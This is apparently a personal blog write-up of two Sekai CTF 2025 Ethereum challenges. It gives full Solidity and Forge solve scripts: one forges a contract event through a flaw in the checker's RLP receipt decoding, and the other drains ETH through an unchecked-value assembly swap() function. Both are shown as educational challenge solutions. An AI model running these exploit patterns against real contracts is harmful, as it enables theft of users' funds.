Overview

Last weekend, I played Sekai CTF 2025 with my team Emu Exploit.

I heard there was first, second, and third blood prizes for all blockchain challenges, so I decided to try them and I managed to get first blood 2 of the 4 blockchain challenges!

In this blog post, I’ll go through my solving and thought process for these challenges, which were both Ethereum challenges. Enjoy!

Challenges Overview

Challenge Category Solves
Stray Cat blockchain 8
Sekai Meme Launcher blockchain 13

Stray Cat - 8 solves 🩸

A stray cat seems to have found itself onto a blockchain. Its a bit shy, but see if you can convince everyone you’ve made it happy.

Author: Quasar

❖ Note

Blockchain bounties apply to this challenge.

This challenge uses a custom version of foundry (our infrastructure provisions you instances of anvil); see challenge.py for more details. Beware, though, the intended solution does not require you to look for bugs in our foundry patch.

We are given two files, challenge.py and Cat.sol.

The code for challenge.py is pretty short. There is a is_solved function that must return True for us to get the flag.


#!/usr/bin/env python3
from Crypto.Hash import keccak
from pyrlp import decode  # https://github.com/SamuelHaidu/simple-rlp
from web3 import Web3

from ctf_launchers import PwnChallengeLauncher, current_challenge
from ctf_launchers.types import ChallengeContract
from ctf_server.types import LaunchAnvilInstanceArgs


k = keccak.new(digest_bits=256)
k.update(b'Purr()')
TARGET = k.digest()


class Launcher(PwnChallengeLauncher):
    def get_anvil_instances(self) -> dict[str, LaunchAnvilInstanceArgs]:
        # This challenge uses a "custom" foundry build:
        #   https://github.com/es3n1n/foundry/commit/21da3334659c2e54ea0680192daa0883935a473d
        return {
            'main': self.get_anvil_instance(
                image='ghcr.io/es3n1n/foundry:latest',
            ),
        }

    def is_solved(
        self,
        web3: Web3,
        contracts: list[ChallengeContract],
        dynamic_fields: dict[str, str],
        team: str,
    ) -> bool:
        block_num = dynamic_fields.get('block', 'latest')
        if not block_num.startswith('0x'):
            block_num = f'0x{block_num}'
        receipts = web3.provider.make_request(
            'debug_getRawReceipts',  # type: ignore[arg-type]
            [block_num],
        )

        if 'error' in receipts:
            return False

        recs = receipts['result']
        if not recs:
            return False

        try:
            rec = bytes.fromhex(recs[0].replace('0x', ''))
            _tx_type, rlp = rec[:1], rec[1:]
            receipt = decode(rlp)

            if receipt[0] != b'\x01':
                return False

            if len(receipt[2]) != 256:
                return False

            logs = [x for x in receipt[3] if int.from_bytes(x[0], 'big') == int(contracts[0]['address'], 16)]

            if not logs:
                return False

            log = logs[0]
            if log[2] != b'':
                return False

            if log[1] != [TARGET]:
                return False
        except Exception:
            return False
        return True


current_challenge.bind(Launcher(project_location='/challenge/project', dynamic_fields=['block']))


if __name__ == '__main__':
    current_challenge.run()

The is_solved makes the RPC call debug_getRawReceipts, which returns the an array of encoded receipts in a single block.

It then takes the first receipt, RLP decodes it, and does several checks:

  • The first entry in the decoded receipt must be '\x01'
  • The length of the second entry must have length 256
  • After filtering for event logs emitted from only the challenge contract, the first event log must
    • contain no event data
    • match the keccak hash of Purr()

During the competition, to minimize time spent, I threw the code into ChatGPT to parse it while I looked at it myself.

Basically, if we can get the challenge contract to emit Purr(), is_solved will return True!

However, the challenge contract Cat.sol looks like this:

// SPDX-License-Identifier: MIT
// Fixed version to avoid foundry/4668
pragma solidity 0.8.27;

contract Cat {
    event Purr();
    function gibheadpats() public {
        revert("*sniff sniff HISS HISS* hooman detected....");
        emit Purr();
    }
}

It literally defines just one function, which would emit Purr(), except it reverts just before that, no matter how you interact with it.

To check there wasn’t some weird compiler or EVM behaviour, I also dumped the challenge bytecode on the remote instance, and disassembled it, to confirm there wasn’t any way around the revert.

We also couldn’t just simply deploy our own contract to emit the event, since the code filters for only events emitted from specifically the challenge contract.

However, ChatGPT did mention that there were different encodings for receipts, depending on the transaction type.

Noticeably, the challenge code seems to assume that our receipt is a typed-receipt, where the first byte is the tx type.

_tx_type, rlp = rec[:1], rec[1:]
receipt = decode(rlp)

But if our receipt is a legacy receipt, there would be no receipt type byte prepended to receipt data - the challenge code would be ignoring the first byte, and RLP decoding from the second byte.

The distinction is that a legacy receipt is encoded like this:

rlp([ status_or_state, cumulativeGasUsed, logsBloom, logs ])

while a typed receipt is encoded like this:

<receiptType> || rlp([ status, cumulativeGasUsed, logsBloom, logs ])

The legacy tx doesn’t contain that receiptType byte!

I first looked for documentation on RLP encoding and found this. The relevant section is shown below:

Essentially, for data structures with large lengths, a special byte is used to indicate the size of the length in bytes, then the size in bytes follows, then the data.

If we can control data in the second byte of a legacy receipt, we could mess with the RLP decoding to potentially decode into the data format we need to pass all the checks!

Heres a diagram showing how a legacy receipt is encoded, and how the challenge incorrectly decodes the legacy receipt:

It turns out, we do have some control from the second byte onwards, as it represents the RLP encoded length of the entire receipt data.

Recall that a receipt contains the transaction result (fail or success), gas used, bloom filter for logs, and the event logs. We don’t have fine grained control over the gas used and bloom filter, but we can control the almost all of the event logs data.

[ status_or_state, cumulativeGasUsed, logsBloom, logs ]

If we want to increase the size of the receipt, we simply emit more event logs in the transaction, or emit event logs containing more data.

The byte we want to hit is 01f9, 01 to pass the receipt[0] == b'\x01' check, and f9 to ‘skip’ a large amount of bytes so that ideally, RLP decoding continues at a region of bytes we control the values of.

My first approach was to try to get the length to be exactly 0x01f9, but this was extremely difficult since we didn’t have exact control over the length of data. I tried to use various log operations including LOG0, and emit data with varying string lengths, but since the EVM pads data to 32 bytes, it wasn’t possible to hit this exact value.

That’s when I thought, what if we emit an enormous amount of events, and set the length to be 3 bytes long, such as 0x01f9XX? We don’t control the XX, but as long as the first 2 bytes are the same, this should work!

After doing some testing and calculations, I found that with each extra event, the length goes up by approximately 59 bytes. With some simple maths, we can calculate how many events we need to emit to achieve a length of 0x01f9XX, which turns out to be around 2200 events.

But what do we do after that?

My idea was to create a contract with a function that emitted a given amount of events, then arbitrary data we can control, then more padding at the end to reach our desired length.

contract Solve {
    event Pad(uint256 indexed n) anonymous ;
    event ControlledData(bytes) ;
    function emitEvents(uint num, bytes memory data, uint num2) public {
        for (uint i=0; i<num; i++) {
            emit Pad(0);
        }

        emit ControlledData(data);

        for (uint i=0; i<num2; i++) {
            emit Pad(0);
        }
    }
}

When the server RLP decodes 0x01f9XXXX...., it will interpret it as \x01, then a list with length XXXX, then continue decoding depending on where it ended up after decoding the list.

The above diagram shows what we ideally want to achieve - set the top 2 bytes of the RLP length to 01f9, the next byte we don’t control well, but it doesn’t matter, as long as we don’t change it. The byte after, 01, is the status, which is 01 if the transaction doesn’t revert. Hence, when the server decodes, we are tricking it into decoding a list of length 0x3d01, and after it has decoded that, hopefully it should continue in the middle of the logs data with data we control, where we can now control the bytes forge an emitted log from the challenge control to solve the challenge.

Since the length appears to be 0x3d01, we need 0x3d01 bytes of padding before our controlled data. With some calculations and trial and error, we eventually figure out the required offset for the front and back padding.

For the data, I first set it to 0001020304... so that when I test the decoding locally, I can see exactly where the list decoding ends and RLP decoding continues.

Now to forge the event emitted from the challenge contract - we don’t need to manually RLP encode logs for this, we can simply emit the required Purr() event and check its RLP encoding when we fetch its receipt, and replace the contract address with the required challenge contract address.

sol = (
    '''b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000800000080000000000000000000000000000000000000400000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000f83af83894'''
    + hex(0x45bc4eb9dc5425dc0790a6178a90C0e97114b3c4)[2:].lower() # contract address
    + '''e1a0894ae3ef1b84a433c14bbd43c36ceb7284bb53a9f22ced7b24b51be7b677a51480'''
)
print(f'{sol = }')
print(f'{len(sol) = }')

Then, we simply deploy our contract to emit events, call our contract through a legacy transaction, which tricks the server into RLP decoding our controlled data, passing all the checks and getting us the flag.

During the CTF, I was manually deploying contracts in Remix IDE while using cast send commands to send the transactions 💀. Really messy but it worked, however, I’ll provide a solve script for simplicity:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import {Solve} from "../src/Solve.sol";

contract SolveScript is Script {

    function setUp() public {}

    function run() public {
        uint pk = 0xd7c9c3371c6a43275b41c8c37ce7bfa67d48785b2bc5c978e0edbafd152d8677;
        vm.startBroadcast(pk);

        Solve solve = new Solve();
        uint pad1 = 0x106;
        uint pad2 = 0x79c;
        bytes memory data = hex"000102030405060708090a0b0c0d0e0f101112131415161718191a1b1cb9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000800000080000000000000000000000000000000000000400000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000f83af838945975215006ea24c3f0c292540bfaad53f0ee3131e1a0894ae3ef1b84a433c14bbd43c36ceb7284bb53a9f22ced7b24b51be7b677a514805c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff000102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f404142434445464748494a4b4c4d4e4f505152535455565758595a5b5c5d5e5f606162636465666768696a6b6c6d6e6f707172737475767778797a7b7c7d7e7f808182838485868788898a8b8c8d8e8f909192939495969798999a9b9c9d9e9fa0a1a2a3a4a5a6a7a8a9aaabacadaeafb0b1b2b3b4b5b6b7b8b9babbbcbdbebfc0c1c2c3c4c5c6c7c8c9cacbcccdcecfd0d1d2d3d4d5d6d7d8d9dadbdcdddedfe0e1e2e3e4e5e6e7e8e9eaebecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff";
        solve.emitEvents(pad1, data, pad2);

        vm.stopBroadcast();
    }
}

Boom, first blood.

Flag: SEKAI{!NsPIr3d-By-a_Zk_BuGhUn7_D0n3_W1Th_4N0nyM0u5_B1u3_Wh413_4Nd_5Up3R_B33713_G4m3R._M30wM30wM30W}

Time taken to blood: 4 hours, 15 minutes

During the CTF, I wasn’t familar with anvil, hence I actually did all my testing on a well known Ethereum testnet, almost running out of testnet eth along the way. Fun exercise left to reader: try to find the transactions I was sending when testing payloads for this challenge…

Just a quick note, I occasionally ran into RecursionError when validating my payload locally - the payload seems to work most, but not 100% of the time. I suspect its to do with some specific bytes that we don’t control such as the challenge address or gas, which messed up decoding.

Overall, this was a pretty misc-like challenge with a nice amount of blockchain involved, kudos to quasar for writing this neat challenge!

Sekai Meme Launcher - 13 solves 🩸

Your meme coin goes to moon

Author: snwo

❖ Note Blockchain bounties apply to this challenge.

When challenge is deployed by the launcher, it forks from mainnet.

After blooding the first challenge, I didn’t realise there were more Ethereum challenges in the second wave. So I actually woke up a few minutes after the new wave released, saw this discord annoucement:

which prompted me to quickly grab my computer and start working.

Compared to the previous challenge, this one is more of a standard, straightforward Solidity challenge.

We are given several contracts, MemeToken is pretty much just a standard ERC20 token, VC holds ether and allows operators to withdraw ether.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
...
contract VC is Ownable {
    ...
    function giveMeETH(address payable to, uint256 amount) external onlyOperator {
        require(address(this).balance >= amount, "VC: insufficient ETH");
        (bool ok, ) = to.call{value: amount}("");
        require(ok, "VC: ETH transfer failed");
        emit ETHWithdrawn(to, amount);
    }
}

But the main focus is in the MemeManager contract:


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import {Ownable} from "lib/openzeppelin-contracts/contracts/access/Ownable.sol";
import {ReentrancyGuard} from "lib/openzeppelin-contracts/contracts/utils/ReentrancyGuard.sol";
import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {SafeERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol";
import {VC} from "./vc.sol";
import {MemeToken} from "./MemeToken.sol";
import {IUniswapV2Factory} from "./interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "./interfaces/IUniswapV2Router02.sol";
import {IUniswapV2Pair} from "./interfaces/IUniswapV2Pair.sol";
import {IWETH} from "./interfaces/IWETH.sol";

contract MemeManager is Ownable, ReentrancyGuard {
    using SafeERC20 for IERC20;

    struct MemeInfo {
        address token;
        address pair;
        address creator;
        uint256 initialPriceWeiPerToken;
        bool initialLiquidityProvided;
    }

    uint256 public constant MEME_AMOUNT = 100_000 * 1e18;

    address public FACTORY;
    address public ROUTER;
    address public WETH;
    address public operator;
    address public player;
    VC public vc;

    mapping(address => MemeInfo) public tokenInfo;
    address[] public allTokens;

    event OperatorUpdated(address indexed oldOperator, address indexed newOperator);
    event MemeCreated(address indexed creator, address indexed token, address pair, string name, string symbol);
    event MemeCreatedWithInitialLiquidity(
        address indexed operator,
        address indexed token,
        address pair,
        uint256 priceWeiPerToken,
        uint256 amountETH,
        uint256 amountToken,
        uint256 liquidity
    );
    event LiquidityProvided(address indexed token, uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function isSolved() public view returns (bool) {
        if(player.balance >= 50 * 1e18) return true;
        return false;
    }
    modifier onlyOperator() {
        require(msg.sender == operator, "MemeManager: not operator");
        _;
    }

    constructor(address initialOwner, address FACTORY_, address ROUTER_, address WETH_, address player_)
        Ownable(initialOwner) payable
    {
        require(FACTORY_ != address(0) && ROUTER_ != address(0) && WETH_ != address(0), "MemeManager: zero");
        FACTORY = FACTORY_;
        ROUTER = ROUTER_;
        WETH = WETH_;
        player = player_;
        vc = new VC{value: 100 * 1e18}(address(this));
    }

    receive() external payable {}

    function setOperator(address newOperator) external onlyOwner {
        emit OperatorUpdated(operator, newOperator);
        operator = newOperator;
        vc.setOperator(newOperator);
    }

    function getAllTokens() external view returns (address[] memory) {
        return allTokens;
    }

    function _createMeme(address creator, string calldata name, string calldata symbol, uint256 initialPrice)
        internal
        returns (address token, address pair)
    {
        MemeToken t = new MemeToken(name, symbol, address(this));
        token = address(t);

        pair = IUniswapV2Factory(FACTORY).getPair(token, WETH);
        if (pair == address(0)) {
            pair = IUniswapV2Factory(FACTORY).createPair(token, WETH);
        }

        tokenInfo[token] = MemeInfo({
            token: token,
            pair: pair,
            creator: creator,
            initialPriceWeiPerToken: initialPrice,
            initialLiquidityProvided: false
        });
        allTokens.push(token);

        emit MemeCreated(creator, token, pair, name, symbol);
    }

    function createMeme(string calldata name, string calldata symbol, uint256 initialPrice) external returns (address token, address pair) {
        return _createMeme(msg.sender, name, symbol, initialPrice);
    }

    function createMemeAndProvideInitialLiquidity(
        string calldata name,
        string calldata symbol,
        uint256 priceWeiPerToken,
        uint256 deadline
    ) external nonReentrant returns (address token, address pair, uint256 amountToken, uint256 amountETHUsed, uint256 liquidity) {
        require(priceWeiPerToken > 0, "MemeManager: price=0");
        require(priceWeiPerToken <= 0.0001 * 1e18, "MemeManager: price too big");

        (token, pair) = _createMeme(msg.sender, name, symbol, priceWeiPerToken);

        amountToken = MEME_AMOUNT;
        require(amountToken > 0, "MemeManager: token=0");
        uint256 requiredETH = (amountToken * priceWeiPerToken) / 1e18;

        MemeInfo storage info = tokenInfo[token];
        info.initialPriceWeiPerToken = priceWeiPerToken;
        require(!info.initialLiquidityProvided, "MemeManager: already init");
        info.initialLiquidityProvided = true;

        MemeToken(token).mint(address(this), amountToken);

        vc.giveMeETH(payable(address(this)), requiredETH);

        IERC20(token).safeIncreaseAllowance(ROUTER, amountToken);

        (amountToken, amountETHUsed, liquidity) = IUniswapV2Router02(ROUTER).addLiquidityETH{value: requiredETH}(
            token,
            amountToken,
            amountToken, 
            requiredETH, 
            address(vc),
            deadline
        );

        emit MemeCreatedWithInitialLiquidity(msg.sender, token, pair, priceWeiPerToken, amountETHUsed, amountToken, liquidity);
    }

    function ProvideLiquidity(
        address token,
        uint256 deadline
    ) external nonReentrant returns (uint256 amountToken, uint256 amountETHUsed, uint256 liquidity) {
        MemeInfo storage info = tokenInfo[token];
        require(info.token != address(0), "MemeManager: unknown token");

        uint256 priceWeiPerToken = info.initialPriceWeiPerToken;
        require(priceWeiPerToken > 0, "MemeManager: price=0");
        require(priceWeiPerToken <= 0.0001 * 1e18, "MemeManager: price too big");

        uint256 amountTokenDesired = MEME_AMOUNT;
        require(amountTokenDesired > 0, "MemeManager: token=0");

        uint256 requiredETH = (amountTokenDesired * priceWeiPerToken) / 1e18;

        require(!info.initialLiquidityProvided, "MemeManager: already init");
        info.initialLiquidityProvided = true;
        info.initialPriceWeiPerToken = priceWeiPerToken;

        MemeToken(token).mint(address(this), amountTokenDesired);

        vc.giveMeETH(payable(address(this)), requiredETH);
        IERC20(token).safeIncreaseAllowance(ROUTER, amountTokenDesired);
        (amountToken, amountETHUsed, liquidity) = IUniswapV2Router02(ROUTER).addLiquidityETH{value: requiredETH}(
            token,
            amountTokenDesired,
            amountTokenDesired, 
            requiredETH,       
            address(vc),
            deadline
        );

        emit LiquidityProvided(token, amountToken, amountETHUsed, liquidity);
    }

    function preSale(address token, uint256 amount) external payable {
        MemeInfo memory info = tokenInfo[token];
        require(info.token != address(0), "MemeManager: unknown token");
        require(!info.initialLiquidityProvided, "MemeManager: preSale ended");
        require(msg.value >= 0.5 * 1e18, "MemeManager: too little");
        require(msg.value * 1e18 == amount * info.initialPriceWeiPerToken, "MemeManager: wrong amount");

        MemeToken(token).mint(msg.sender, amount);
    }

    function swap() external payable returns (bytes memory error){
        assembly {
            let valueLeft := callvalue()
            let n:= shr(248, calldataload(4))
            let cur
            for { let i := 0 } lt(i, n) { i := add(i, 1) } {

                cur := add(5, mul(0x14, i))
                let token := shr(96, calldataload(cur))

                cur := add(cur, mul(n, 0x14))
                let amount:= calldataload(cur)

                cur := add(cur, mul(n, 0x20))
                let dir:= shr(248, calldataload(cur))

                let ptr := mload(0x40)

                switch dir
                case 1 {
                    mstore(ptr, 0x7ff36ab500000000000000000000000000000000000000000000000000000000)
                    mstore(add(ptr, 0x04), 0)
                    mstore(add(ptr, 0x24), 0x80)
                    mstore(add(ptr, 0x44), caller())
                    mstore(add(ptr, 0x64), timestamp())
                    let tail := add(ptr, 0x84)
                    mstore(tail, 2)
                    mstore(add(tail, 0x20), sload(WETH.slot))
                    mstore(add(tail, 0x40), token)
                    let ok := call(gas(), sload(ROUTER.slot), amount, ptr, add(0x84, 0x60), 0, 0)
                    let rd := returndatasize()
                    if iszero(ok) { returndatacopy(0, 0, rd) revert(0, rd) }
                    valueLeft := sub(valueLeft, amount)
                }
                default {
                    mstore(ptr, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
                    mstore(add(ptr, 0x04), caller())
                    mstore(add(ptr, 0x24), address())
                    mstore(add(ptr, 0x44), amount)
                    let ok := call(gas(), token, 0, ptr, 0x64, 0, 0)
                    let rd := returndatasize()
                    if iszero(ok) { returndatacopy(0, 0, rd) revert(0, rd) }

                    mstore(ptr, 0x095ea7b300000000000000000000000000000000000000000000000000000000)
                    mstore(add(ptr, 0x04), sload(ROUTER.slot))
                    mstore(add(ptr, 0x24), amount)
                    ok := call(gas(), token, 0, ptr, 0x44, 0, 0)
                    rd := returndatasize()
                    if iszero(ok) { returndatacopy(0, 0, rd) revert(0, rd) }

                    mstore(ptr, 0x18cbafe500000000000000000000000000000000000000000000000000000000)
                    mstore(add(ptr, 0x04), amount)
                    mstore(add(ptr, 0x24), 0)
                    mstore(add(ptr, 0x44), 0xa0)
                    mstore(add(ptr, 0x64), caller())
                    mstore(add(ptr, 0x84), timestamp())
                    let tail2 := add(ptr, 0xa4)
                    mstore(tail2, 2)
                    mstore(add(tail2, 0x20), token)
                    mstore(add(tail2, 0x40), sload(WETH.slot))
                    ok := call(gas(), sload(ROUTER.slot), 0, ptr, add(0xa4, 0x60), 0, 0)
                    rd := returndatasize()
                    if iszero(ok) { returndatacopy(0, 0, rd) revert(0, rd) }
                }
            }
        }
    }
}



It seems to define functions that allow creating new MemeTokens, and setting up Uniswap pools with them.

Let’s take a look at the solve condition:

    function isSolved() public view returns (bool) {
        if(player.balance >= 50 * 1e18) return true;
        return false;
    }

Initially, the VC starts with 100 ether, and our player starts with 1.1 ether. MemeManager starts with no ether.

Our goal is to get over 50 ether, presumably from the VC.

We look for when MemeManager calls giveMeETH, which is in createMemeAndProvideInitialLiquidity and ProvideLiquidity.

There are two paths when creating meme coins.

The first is calling createMeme, which creates a new MemeToken and a new Uniswap V2 pair, with the two tokens being the meme token and Wrapped Ether (WETH). Then, we could call preSale to buy some of these meme tokens, before calling ProvideLiquidity which adds both tokens and WETH to the pool.

The second path is calling createMemeAndProvideInitialLiquidity, which creates the meme token AND provides liquidity in the same function. In this case, we don’t get to call preSale to obtain some initial tokens.

Notably, we are able to set the initial price of the meme coin, which must be less than 0.0001 ether, and the amount of ETH liquidity provided to the pool is proportional to this price.

This seems pretty straightforward, but seemingly doesn’t include any useful vulnerabilities yet. Thats when I scrolled down and saw the swap() function.

    function swap() external payable returns (bytes memory error){
        assembly {
            let valueLeft := callvalue()
            let n:= shr(248, calldataload(4))
            let cur
            for { let i := 0 } lt(i, n) { i := add(i, 1) } {

                cur := add(5, mul(0x14, i))
                let token := shr(96, calldataload(cur))

                cur := add(cur, mul(n, 0x14))
                let amount:= calldataload(cur)

                cur := add(cur, mul(n, 0x20))
                let dir:= shr(248, calldataload(cur))

                let ptr := mload(0x40)

                switch dir
                case 1 {
                    mstore(ptr, 0x7ff36ab500000000000000000000000000000000000000000000000000000000)
                    mstore(add(ptr, 0x04), 0)
                    mstore(add(ptr, 0x24), 0x80)
                    mstore(add(ptr, 0x44), caller())
                    mstore(add(ptr, 0x64), timestamp())
                    let tail := add(ptr, 0x84)
                    mstore(tail, 2)
                    mstore(add(tail, 0x20), sload(WETH.slot))
                    mstore(add(tail, 0x40), token)
                    let ok := call(gas(), sload(ROUTER.slot), amount, ptr, add(0x84, 0x60), 0, 0)
                    let rd := returndatasize()
                    if iszero(ok) { returndatacopy(0, 0, rd) revert(0, rd) }
                    valueLeft := sub(valueLeft, amount)
                }
                default {
                    mstore(ptr, 0x23b872dd00000000000000000000000000000000000000000000000000000000)
                    mstore(add(ptr, 0x04), caller())
                    mstore(add(ptr, 0x24), address())
                    mstore(add(ptr, 0x44), amount)
                    let ok := call(gas(), token, 0, ptr, 0x64, 0, 0)
                    let rd := returndatasize()
                    if iszero(ok) { returndatacopy(0, 0, rd) revert(0, rd) }

                    mstore(ptr, 0x095ea7b300000000000000000000000000000000000000000000000000000000)
                    mstore(add(ptr, 0x04), sload(ROUTER.slot))
                    mstore(add(ptr, 0x24), amount)
                    ok := call(gas(), token, 0, ptr, 0x44, 0, 0)
                    rd := returndatasize()
                    if iszero(ok) { returndatacopy(0, 0, rd) revert(0, rd) }

                    mstore(ptr, 0x18cbafe500000000000000000000000000000000000000000000000000000000)
                    mstore(add(ptr, 0x04), amount)
                    mstore(add(ptr, 0x24), 0)
                    mstore(add(ptr, 0x44), 0xa0)
                    mstore(add(ptr, 0x64), caller())
                    mstore(add(ptr, 0x84), timestamp())
                    let tail2 := add(ptr, 0xa4)
                    mstore(tail2, 2)
                    mstore(add(tail2, 0x20), token)
                    mstore(add(tail2, 0x40), sload(WETH.slot))
                    ok := call(gas(), sload(ROUTER.slot), 0, ptr, add(0xa4, 0x60), 0, 0)
                    rd := returndatasize()
                    if iszero(ok) { returndatacopy(0, 0, rd) revert(0, rd) }
                }
            }
        }
    }

It’s entirely assembly, but not too long. Since I wanted to solve this as fast as possible to get the blood, I asked ChatGPT to reverse engineer the function.

Essentially, the code swaps tokens for ETH and vice versa, depending on a direction we provide.

Swapping ETH for tokens

router.swapExactETHForTokens{value: amount}(0, [WETH, token], msg.sender, block.timestamp);

Swapping tokens for ETH

token.transferFrom(msg.sender, address(this), amount);
token.approve(router, amount);
router.swapExactTokensForETH(amount, 0, [token, WETH], msg.sender, block.timestamp);

However, the main vulnerability lies in plain sight.

When swapping ETH for tokens, we are expected to provide ETH when calling the function. However, valueLeft is actually never checked, and is only subtracted from after swapping. Since the subtraction valueLeft := sub(valueLeft, amount) happens inside assembly, overflows and underflows are not checked for and this succeeds.

Therefore, we can swap ETH for tokens without providing any ETH of our own, causing MemeManager to spend its own ETH. Although MemeManager doesn’t start with ETH, we send it ETH when calling preSale to buy tokens.

Therefore, the exploit strategy becomes:

  • call createMeme to make meme token with the max possible price of 0.0001 ether
  • call preSale to buy as many tokens as we can with our current ETH balance
  • call ProvideLiquidity so that a Uniswap V2 pair is made with 10 ETH in liquidity
  • call swap to swap ETH for tokens, with the amount being MemeManager’s ETH balance
  • call swap to swap all of our tokens for ETH

With each iteration, we profit in ETH, taken from the Uniswap pool. We can do a maximum of 10 iterations, since the VC has 100 ether and sends 10 ether to the Uniswap pool each time liquidity is provided, but it turns that after 10 iterations, we reach a balance of 51 ether, suffucient for solving the challenge!

Solve script:


// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "forge-std/Script.sol";
import {Counter} from "../src/Counter.sol";

import {MemeManager} from "../src/MemeManager.sol";
import {VC} from "../src/VC.sol";
import {MemeToken} from "../src/MemeToken.sol";

import {console} from "forge-std/console.sol";

import {IUniswapV2Factory} from "../src/interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "../src/interfaces/IUniswapV2Router02.sol";
import {IUniswapV2Pair} from "../src/interfaces/IUniswapV2Pair.sol";
import {IWETH} from "../src/interfaces/IWETH.sol";


contract SolveScript is Script {
    address player = makeAddr("player");
    address deployer = makeAddr("deployer");
    Counter public counter;
    MemeManager memeManager;
    address FACTORY;
    address ROUTER;
    address WETH;
    address vc;

    bool remote = false;

    function setUp() public {
        if (!remote) {
            vm.deal(deployer, 1000 ether);
            vm.startPrank(deployer);
        }

        // player
        FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
        ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

        if (!remote) {
            memeManager = new MemeManager{value: 100 ether}(deployer, FACTORY, ROUTER, WETH, player);
        } else {
            memeManager = MemeManager(payable(0x6cdBA50e9695BbBA61C4bC765d091B1C453e296A));
        }

        if (!remote) {
            vm.stopPrank();
        }
    }

    function doOneSwap(
        address token, 
        uint amount,
        uint8 dir
    ) public {
        uint8 n = 1;

        // function selector
        bytes memory data = abi.encodePacked(
            bytes4(keccak256("swap()")), // selector
            n,                           // 1 byte
            bytes20(token),              // token address
            bytes32(amount),             // amount
            dir                          // 1 byte
        );

        // low-level call
        (bool ok, bytes memory ret) = address(memeManager).call(data);
        require(ok, "swap failed");
    }
    
    function run() public {
        if (!remote) {
            vm.deal(player, 1.1 ether);
            vm.startBroadcast(player);
        } else {
            uint priv = 0x083c6473fb9695f482bc8769d13180eb7d34d1e2c275b11d7c9103d3464f6569;
            player = vm.addr(priv);
            vm.startBroadcast(priv);
        }

        vc = address(memeManager.vc());

        for (uint i=0; i<10; i++) {
            uint maxPosInitPrice = 0.0001 ether;
            (address token_A, address pair_A) = memeManager.createMeme("a", "a", maxPosInitPrice);

            uint msg_value = address(player).balance - 1e16; // save some for gas fees
            memeManager.preSale{value: msg_value}(token_A, (msg_value * 1 ether) / maxPosInitPrice);

            memeManager.ProvideLiquidity(token_A, type(uint).max);

            MemeToken(token_A).approve(ROUTER, type(uint).max);
            MemeToken(token_A).approve(address(memeManager), type(uint).max);
            
            uint swapAmount = address(memeManager).balance;
            doOneSwap(token_A, swapAmount, 1);
            doOneSwap(token_A, MemeToken(token_A).balanceOf(player), 0);

            console.log("player bal after iteration %d: %18e ether", i+1, address(player).balance);
        }
        
        console.log("isSolved?", memeManager.isSolved());

        vm.stopBroadcast();
    }
}

After a few network issues which cost around 5 minutes, I managed to solve it on remote and get the flag. Second first blood.

Flag: SEKAI{L3tS-GO_+o-+H3-m00o0on}

Time taken to blood: 1 hour, 41 minutes

Thanks to snwo for authoring. snwo also authored a blockchain chal for Codegate Finals I also blooded last month, lol.

Conclusion

I am honestly pretty surprised to have the first blood on both Ethereum challenges. I wasn’t too optimistic going into the CTF, since Solidity / Ethereum is arguably the more popular ecosystem, and hence I thought there would be more competition for blooding those challenges. I only did Ethereum challenges as I’m not really familar with any other ecosystems, but maybe I should learn them too, lol.

Thanks to the challenge authors and Project Sekai for the CTF! I look forward to next year’s challenges!

As always, if you spotted any errors/typos in the blog, or have questions, feel free to DM/ping me on discord thesavageteddy.